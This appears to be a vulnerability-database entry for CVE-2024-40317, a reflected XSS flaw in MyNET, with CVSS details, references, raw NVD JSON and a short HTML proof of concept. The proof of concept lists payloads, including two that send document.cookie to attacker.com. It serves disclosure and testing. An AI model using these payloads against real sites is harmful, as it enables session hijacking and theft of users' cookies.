CVE-2024-40317

Description

A reflected cross-site scripting (XSS) vulnerability in MyNET up to v26.08 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload into the parameter HTTP.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:airc:mynet:*:*:*:*:*:*:*:* - VULNERABLE

MyNET <= v26.08

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2024-40317 Reflected XSS PoC -->
<!-- Target: MyNET <= v26.08 -->
<!-- Attack Vector: Inject malicious script via HTTP parameter -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2024-40317 PoC</title>
</head>
<body>
    <h2>CVE-2024-40317 Reflected XSS PoC</h2>
    <p>Target: MyNET <= v26.08</p>
    
    <p>Malicious URL (modify the vulnerable parameter as needed):</p>
    <code id="malicious-url"></code>
    
    <p>XSS Payloads:</p>
    <ul>
        <li>Basic: <code>&lt;script&gt;alert('XSS')&lt;/script&gt;</code></li>
        <li>Cookie Theft: <code>&lt;script&gt;fetch('https://attacker.com/steal?c='+document.cookie)&lt;/script&gt;</code></li>
        <li>Session Hijack: <code>&lt;img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie"&gt;</code></li>
        <li>DOM Manipulation: <code>&lt;script&gt;document.body.innerHTML='&lt;h1&gt;Pwned&lt;/h1&gt;'&lt;/script&gt;</code></li>
    </ul>
    
    <script>
        // Generate malicious URL example
        const baseUrl = window.location.origin + '/path/to/vulnerable/endpoint';
        const payload = '<script>alert(document.domain)<\/script>';
        const maliciousUrl = baseUrl + '?vulnerable_param=' + encodeURIComponent(payload);
        document.getElementById('malicious-url').textContent = maliciousUrl;
        
        // Auto-display cookie for demonstration
        console.log('Current cookies:', document.cookie);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-40317
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-40317
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-40317/
[4] VulDB https://vuldb.com/cve/CVE-2024-40317
[5] https://miguelsantareno.github.io/airc_exploit.txt
[6] https://www.airc.pt/solucoes-servicos/solucoes?segment=MYN

Raw JSON Data

JSON

{"cve": {"id": "CVE-2024-40317", "sourceIdentifier": "[email protected]", "published": "2025-12-24T16:15:47.387", "lastModified": "2025-12-31T18:48:50.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability in MyNET up to v26.08 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload into the parameter HTTP."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:airc:mynet:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.08", "matchCriteriaId": "0F0C1BF8-3346-4D0E-9AA9-1B8CD5E98597"}]}]}], "references": [{"url": "https://miguelsantareno.github.io/airc_exploit.txt", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.airc.pt/solucoes-servicos/solucoes?segment=MYN", "source": "[email protected]", "tags": ["Product"]}]}}